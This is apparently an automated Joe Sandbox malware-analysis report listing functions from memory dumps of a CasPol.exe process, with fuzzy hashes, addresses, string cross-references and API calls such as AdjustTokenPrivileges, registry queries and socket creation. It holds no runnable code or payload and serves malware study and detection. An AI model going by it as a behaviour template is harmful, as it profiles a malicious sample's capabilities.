Instruction ID: 664a28a7a35deacab200faa2f00a096cceed05d37dc4476553be3f5c07ef369d
Opcode Fuzzy Hash: 8052b89c6b66771d7c6681e686870de6a3f30f992238be5b848946f383a288fe
Instruction Fuzzy Hash: 69425D75A006248FDB24DFB8C8947ADB7F2AF88300F1585AAD61AEB351EB349D41CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00CDDEC8 Relevance: 14.4, Strings: 11, Instructions: 670COMMON

Download Yara Rule

Strings

\Or, xrefs: 00CDE675
\Or, xrefs: 00CDE55B
*r, xrefs: 00CDE39C
*r, xrefs: 00CDE073
*r, xrefs: 00CDE38E
\Or, xrefs: 00CDE619
*r, xrefs: 00CDE065
0Xr, xrefs: 00CDE1F1
*r, xrefs: 00CDE3CB
\Or, xrefs: 00CDE5B3
\Or, xrefs: 00CDE229

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: 0Xr$\Or$\Or$\Or$\Or$\Or$*r$*r$*r$*r$*r
API String ID: 0-4274820399
Opcode ID: c39bcf3550748dba41eb5e1128e7f7da545445e11d17415f8ef6ab7473c00ac7
Instruction ID: 738a7557d1afcec5c33121ca62b62c982ec06aa82959a3c4e166ecdc99503cfb
Opcode Fuzzy Hash: c39bcf3550748dba41eb5e1128e7f7da545445e11d17415f8ef6ab7473c00ac7
Instruction Fuzzy Hash: 2832A330F042048FEB24EBA8C8947AEB7B2EF95310F25846AE219EF391DA35DD45D751

Uniqueness

Uniqueness Score: -1.00%

Function 1F82D720 Relevance: 9.6, Strings: 7, Instructions: 873
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Or, xrefs: 1F82D90C
\Or, xrefs: 1F82D7DF
\Or, xrefs: 1F82D9FA
\Or, xrefs: 1F82D802
*r, xrefs: 1F82DA48
\Or, xrefs: 1F82D8C3
*r, xrefs: 1F82DA3C

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or$\Or$\Or$*r$*r
API String ID: 0-548486589
Opcode ID: e8765b6fc04f06593b7307ba12f2d7195129e4afc199a0db1dbd41f0d67778b2
Instruction ID: a47af2811b15cc38be98bbaa16bbb6e1bfcf7967287ec0ede3d22a91616af3a9
Opcode Fuzzy Hash: e8765b6fc04f06593b7307ba12f2d7195129e4afc199a0db1dbd41f0d67778b2
Instruction Fuzzy Hash: 83028D75B042559FEB08CBB8C894B5E7BF2AF89304F19806AE505AF392DA34EC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CC1960 Relevance: 6.8, Strings: 5, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Or, xrefs: 00CC1D31
\Or, xrefs: 00CC1C6D
\Or, xrefs: 00CC1CE7
\Or, xrefs: 00CC1C1F
\Or, xrefs: 00CC1BD4

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or$\Or$\Or
API String ID: 0-2346101514
Opcode ID: 104e993bdd6c025e363c93d4b90ce91ed43fa232c8e9773243e0933769f6089a
Instruction ID: b793ed957f80aecf6f7da4dfe4562150d56f7651bc58040df04af4334a90d227
Opcode Fuzzy Hash: 104e993bdd6c025e363c93d4b90ce91ed43fa232c8e9773243e0933769f6089a
Instruction Fuzzy Hash: 07028C70A003149FEB14DBB9C898B6EB7F2AF85304F29852EE51A9B395DE34DC05C791

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB5B8 Relevance: 1.7, APIs: 1, Instructions: 202
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00CDB5F8

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 207a60b354b48d6b0112a61d1ddcb6b77f18074a86d774b7ba8c83c0023ffea8
Instruction ID: f778e9a319162bf79f6e5ad02123de1b1cee34fbc63298612f1c70bb2dd48feb
Opcode Fuzzy Hash: 207a60b354b48d6b0112a61d1ddcb6b77f18074a86d774b7ba8c83c0023ffea8
Instruction Fuzzy Hash: EC714034A00215DFDB14DFB4C998BAEBBF2AF84311F168529E906A7394DB38DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AA7F Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1D45AAFF

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 0427b5c963be8f39573eb14f37102206bca31edc78e6898001bba75521ec01d1
Instruction ID: a697c94d9ad9a9f8b188a9002c64490f8703bb4b143267aa471d954a653d6e54
Opcode Fuzzy Hash: 0427b5c963be8f39573eb14f37102206bca31edc78e6898001bba75521ec01d1
Instruction Fuzzy Hash: EA21D176509780AFDB12CF25DC41B52BFF4EF06310F0885DAE9848F263D271A808DB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AAB6 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 1D45AAFF

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 6c5b11327b01cf13e9706e1f995f88ceedb4ce87a2f58365449997127823be39
Instruction ID: 8cbc78dc1140f4c365c3bf1fa85a3b9725a3b78e2c31f92c74d8374060ecc8cc
Opcode Fuzzy Hash: 6c5b11327b01cf13e9706e1f995f88ceedb4ce87a2f58365449997127823be39
Instruction Fuzzy Hash: 5011A0755003409FEB11CF55D985B56FBE4EF08220F08C46AEE498B652D371E854DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AFB8 Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1D45B015

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 8e0a8a221e9f7f72562058db96a446d059b8dbec3e96ff826b965bfe6c30f104
Instruction ID: 71411c2495b15deb3502e5707c2799fe8e2be1cc6a8c9394b1a7a7b04c0129a2
Opcode Fuzzy Hash: 8e0a8a221e9f7f72562058db96a446d059b8dbec3e96ff826b965bfe6c30f104
Instruction Fuzzy Hash: 8211A375408780AFD7128F15DC44B52FFB4EF46214F09849EED844B253D275A818CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AFDA Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 1D45B015

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 332c373415b09629e1b0d2606dbe0fbef8b6c46c446f1fd645b8e68adf24445f
Instruction ID: 7c48a97c3fbde660ad5f7456130d4f558a0a6e49fe6db4b2b6226740778da015
Opcode Fuzzy Hash: 332c373415b09629e1b0d2606dbe0fbef8b6c46c446f1fd645b8e68adf24445f
Instruction Fuzzy Hash: 58018F354007409FEB21CF05D984B15FBA0EF08A20F08C19ADE580B352D275A819CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00CC4280 Relevance: .9, Instructions: 896COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9919c65029d97047e4b36e2d6999bf38c22be10c165262e19d8265a1cf1ae69e
Instruction ID: 771da8f34343bc28f45d97def3a70fd1cfb51fe999766f82a31e9e985491cc7b
Opcode Fuzzy Hash: 9919c65029d97047e4b36e2d6999bf38c22be10c165262e19d8265a1cf1ae69e
Instruction Fuzzy Hash: 65624B34B002158FEB08DBB8C5A4BADB7F2AF88314F258569D406EB395DB39DD42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB930 Relevance: .8, Instructions: 791COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea8d35935fea81563c588c7b0e33931bdf476385bf64eb4caa971633d890c679
Instruction ID: c2d5e0511bd64a1d41d488d83f6a91fbd566505e1af29503f843fcc44d00a781
Opcode Fuzzy Hash: ea8d35935fea81563c588c7b0e33931bdf476385bf64eb4caa971633d890c679
Instruction Fuzzy Hash: E5526034B002159FDB54DBB8C4987AE7BF2AF88310F25856AE506EB395DF34DC068B91

Uniqueness

Uniqueness Score: -1.00%

Function 1F824FA0 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a75b76fbdfe27509a1e43ab71eacd62d141e959557e3ae5858a35419a7dcc09
Instruction ID: 872f4a70f82951836d8464d0fb8ac8e99d08d1355bbb318f206b068e05e7a75b
Opcode Fuzzy Hash: 4a75b76fbdfe27509a1e43ab71eacd62d141e959557e3ae5858a35419a7dcc09
Instruction Fuzzy Hash: BA025C35A402059FDB04DB68C994AAEB7F2EF89310F558529E40ADF394EB35EC42CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CDDA77 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3946c56dbd67fc2ed4a9c2ea19922c1021b358a879126f20dd7fba215e03f538
Instruction ID: 68135c36611df4858dfbbb5031a1485bb9e62226593639e6cd098075a62d7756
Opcode Fuzzy Hash: 3946c56dbd67fc2ed4a9c2ea19922c1021b358a879126f20dd7fba215e03f538
Instruction Fuzzy Hash: 5BD1D331E043059FDB20DB68C88076ABBF2EF96314F10896BD25ACB751D631ED4AC751

Uniqueness

Uniqueness Score: -1.00%

Function 00CD4B20 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00CD4B95

Strings

L.r, xrefs: 00CD4C32
L.r, xrefs: 00CD4BD0

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID: L.r$L.r
API String ID: 2994545307-3620355741
Opcode ID: 4b501cf2a1bb8800e163d68b420ebc81d9874a6f87365ae75b499a99ce30a91b
Instruction ID: 8aeac34bf7265848a50a1a7b2a0c6130bf23c10f1bd8ef7b4fb71676f2044fa4
Opcode Fuzzy Hash: 4b501cf2a1bb8800e163d68b420ebc81d9874a6f87365ae75b499a99ce30a91b
Instruction Fuzzy Hash: 24519375B002059FDB14DBB8D884BAEB7B5EF88304F20853AE61ADB294DB34EC45C751

Uniqueness

Uniqueness Score: -1.00%

Function 00CD4B30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 155
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00CD4B95

Strings

L.r, xrefs: 00CD4C32
L.r, xrefs: 00CD4BD0

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID: L.r$L.r
API String ID: 2994545307-3620355741
Opcode ID: dd6ac9ebbc4745aaaae0f10a270ef2ad4883015bd8ebb92cab47cebd61e7ec37
Instruction ID: 8ae5613117d117f10bcb66ef8777ceeeb361a4303950944b8d31c71edb5ed013
Opcode Fuzzy Hash: dd6ac9ebbc4745aaaae0f10a270ef2ad4883015bd8ebb92cab47cebd61e7ec37
Instruction Fuzzy Hash: 45518575B002059FDB04EBB4C884AAEB7F6AF88304B258539E606DB394DF34ED45C761

Uniqueness

Uniqueness Score: -1.00%

Function 00CC2CC4 Relevance: 4.5, Strings: 3, Instructions: 701COMMON

Download Yara Rule

Strings

\Or, xrefs: 00CC2E6A
\Or, xrefs: 00CC2E87
\Or, xrefs: 00CC2DFE

Memory Dump Source

Source File: 00000007.00000002.6645954165.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cc0000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or
API String ID: 0-1528748740
Opcode ID: 9589706d180604f49aba61477f4a2d1c1842d35cb94f8898dfe930cbb1d65cf8
Instruction ID: c3704ce3db09c6f09d6791334d1f6a79c5bd2ebe31ac7e738cd0840f4c1abca7
Opcode Fuzzy Hash: 9589706d180604f49aba61477f4a2d1c1842d35cb94f8898dfe930cbb1d65cf8
Instruction Fuzzy Hash: 0542D5347083859FE712DB68D858B697BF2AF86300F19C4EAD448DF2A2DA34DD4AC751

Uniqueness

Uniqueness Score: -1.00%

Function 1F822A27 Relevance: 2.0, APIs: 1, Instructions: 500COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bd0bdb1921146d125b28649cccfe401d1d9d8bcfa878377540bbcfb369543229
Instruction ID: 5adf02a9b231346d7047b33ecdcc6f4c63f932aa786cc082e1d5dfa816c52465
Opcode Fuzzy Hash: bd0bdb1921146d125b28649cccfe401d1d9d8bcfa878377540bbcfb369543229
Instruction Fuzzy Hash: B8422678A45268CFDBA1DF68C898A99BBF5FF48711F1081D6A80DA7314DA319EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822A57 Relevance: 2.0, APIs: 1, Instructions: 497COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ec623b3d89d506f7cfce53f8eb861420a338061f53000ab993c2efa52141fe0c
Instruction ID: 5d9c3d10802fb753ef41636c973deadfb8af68df1e4e064eb4877cd7167cc827
Opcode Fuzzy Hash: ec623b3d89d506f7cfce53f8eb861420a338061f53000ab993c2efa52141fe0c
Instruction Fuzzy Hash: D9422678A45268CFDBA1DB68C898A99BBF5FF48711F1081D6E80DA7314DA709EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822AAB Relevance: 2.0, APIs: 1, Instructions: 487COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 30f608bcdf07588eb3211963afef1237894feb0f4b2799120ea9170aad807b77
Instruction ID: fbdb1fd53711479b929a68e2f677fabd3b8da23ee73702de0379fda1807cfe0f
Opcode Fuzzy Hash: 30f608bcdf07588eb3211963afef1237894feb0f4b2799120ea9170aad807b77
Instruction Fuzzy Hash: B5421678A45268CFDBA1DB68C898A99BBF5FF48711F1081D6A80DA7314DA319EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822AFF Relevance: 2.0, APIs: 1, Instructions: 475COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 422ff410029ce95edf7f860f529e2aa7bc0cefc981483df512d1b5d1d1336679
Instruction ID: 1aedbc5c76c5b2c6f9255cfb36a32263e9a2fdcd6d2a9327a3b9d5556faa5ec4
Opcode Fuzzy Hash: 422ff410029ce95edf7f860f529e2aa7bc0cefc981483df512d1b5d1d1336679
Instruction Fuzzy Hash: CE321678A45268CFDBA1DB68C898A99BBF5FF48711F1081D6A80DA7314DA319EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822B4A Relevance: 2.0, APIs: 1, Instructions: 467COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cadd9a4e68f5d712cbca0de215227bf79b53ff86f4cede955462a258dd82824f
Instruction ID: 7771147f1298ed5adf0f44db0d18695fd6e89707752578e42fdec46474135d1d
Opcode Fuzzy Hash: cadd9a4e68f5d712cbca0de215227bf79b53ff86f4cede955462a258dd82824f
Instruction Fuzzy Hash: D4321678A45268CFDBA1DB68C898A99BBF5FF48711F1081D6A80DA7314DA319EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822B9E Relevance: 2.0, APIs: 1, Instructions: 457COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 11ec8a5e68848bec1af961fc61ae0b45b7d7795fbce4ab6d4fd6376506384ea9
Instruction ID: 87cda498b49b34b41c226e341bfa478d8ff67183cd9b4728a7cb856e3ca47866
Opcode Fuzzy Hash: 11ec8a5e68848bec1af961fc61ae0b45b7d7795fbce4ab6d4fd6376506384ea9
Instruction Fuzzy Hash: F9321678A45268CFDBA1DB68C898A99BBF5FF48711F1081D6A80DA7314DB319EC1CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1F822BF2 Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 1F822C16

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4343a7c9e454a3f825b5e6f6dd4feb389244236a314fae822e3ed3f82072a303
Instruction ID: 0158eb10a2872f563c6f6c2e5871e1cbd2537d4480feee11169ecf24d4d6bcc6
Opcode Fuzzy Hash: 4343a7c9e454a3f825b5e6f6dd4feb389244236a314fae822e3ed3f82072a303
Instruction Fuzzy Hash: 74321578A45268CFDBA1DB68C898A99BBF5FF48711F1081D6A80DA7314DA319E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB558 Relevance: 1.6, APIs: 1, Instructions: 122libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00CDB5F8

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5874e8c19ed5f96c9b081c4d62b7468342e099ec30ea9f1812e863a523d9d2a7
Instruction ID: 7f9b16831f3924bfb430027928e3f6b44c5e66bb271ebd6756e1788f459a469e
Opcode Fuzzy Hash: 5874e8c19ed5f96c9b081c4d62b7468342e099ec30ea9f1812e863a523d9d2a7
Instruction Fuzzy Hash: 8241AC31A00258DFDB14DFA8C894A9EBBF1EF49311F1184AAD505EB390EB39DC46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32A8E Relevance: 1.6, APIs: 1, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE32B45

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e69086f8a2731ddb701d4d44832a51a17363dd370cd3044b61473d215efe6c17
Instruction ID: 6e188032d6b1ab1ebdf8dae4a52a1cf936dd1377c575662629c76b87d36dd93b
Opcode Fuzzy Hash: e69086f8a2731ddb701d4d44832a51a17363dd370cd3044b61473d215efe6c17
Instruction Fuzzy Hash: 363181B2504384AFE7128F65DC44FA6BBACEF45710F0489AAE9859F142D274E909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE333DF Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EA4), ref: 1FE334B3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: a32bd1780021b167318c168d612ca5599f5ebd980239c703af0dcfe78abc0654
Instruction ID: e2dc73ec4c50611dcb0392ee022aa67468345f6ef5a95b6614b87eddb629637f
Opcode Fuzzy Hash: a32bd1780021b167318c168d612ca5599f5ebd980239c703af0dcfe78abc0654
Instruction Fuzzy Hash: 1531A3B1404384AFF722CB64CC85FA6FBBCEF06310F04859AF9849F182D275A549CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31904 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 1FE319B6

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 0873215645497e88313b005f6bb16a21d9c046cfd7a9ba158700abf2c572ae86
Instruction ID: 855577cfb79002fd01684357fb19ab37e3910da89aac936c0c8a6e559c0f6145
Opcode Fuzzy Hash: 0873215645497e88313b005f6bb16a21d9c046cfd7a9ba158700abf2c572ae86
Instruction Fuzzy Hash: 113183718093C0AFE7138F65DC45B56BFB4EF06214F0885DFE9858F1A3D269A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE314CB Relevance: 1.6, APIs: 1, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE31580

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 5d28ee96412c80f4a2624ebbf5f3bfa8cccfddb290c17bd43b3d22549a416ba3
Instruction ID: e0a4727f9e7d7c3174d38dc8754677e3566acadba7f04db855cfee35d0806bc1
Opcode Fuzzy Hash: 5d28ee96412c80f4a2624ebbf5f3bfa8cccfddb290c17bd43b3d22549a416ba3
Instruction Fuzzy Hash: 49319572509380AFE712CF60DC84F96BFB8EF46310F08859AE9859F193D265E508CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32C8E Relevance: 1.6, APIs: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE32D3A

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c6bdfd616cc0fa86e6d2fd840ca77c90718bf51048674e0225103d4771775c65
Instruction ID: 741a59f6f76328095567c14b1be5cc61824f86fc39f3d2bed88babbe53a69f2d
Opcode Fuzzy Hash: c6bdfd616cc0fa86e6d2fd840ca77c90718bf51048674e0225103d4771775c65
Instruction Fuzzy Hash: 97319FB2509784AFE7128B64DC45F66FFB8EF46310F08849AED849F253D225A909C772

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3260D Relevance: 1.6, APIs: 1, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE326C1

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: dd5bfa92747f7bb002359a382844a23c4e5530be245e12cf96649c5d4288d927
Instruction ID: f467bf81301023ab380995122687071cfc5e0e4d04d1939382ba3f662d69775c
Opcode Fuzzy Hash: dd5bfa92747f7bb002359a382844a23c4e5530be245e12cf96649c5d4288d927
Instruction Fuzzy Hash: ED317075505780AFEB12CF11DC84F96FFB8EF0A314F08859AE9858B162D335E909DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE30786 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE30831

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: bee67539c005906f6fa6c8b329ec1398b90cfb34cc22cffbe068cee07bedbe1f
Instruction ID: b0558fc8823e949165943f855417925eeb53befd1f898682d04d0e1b17373e94
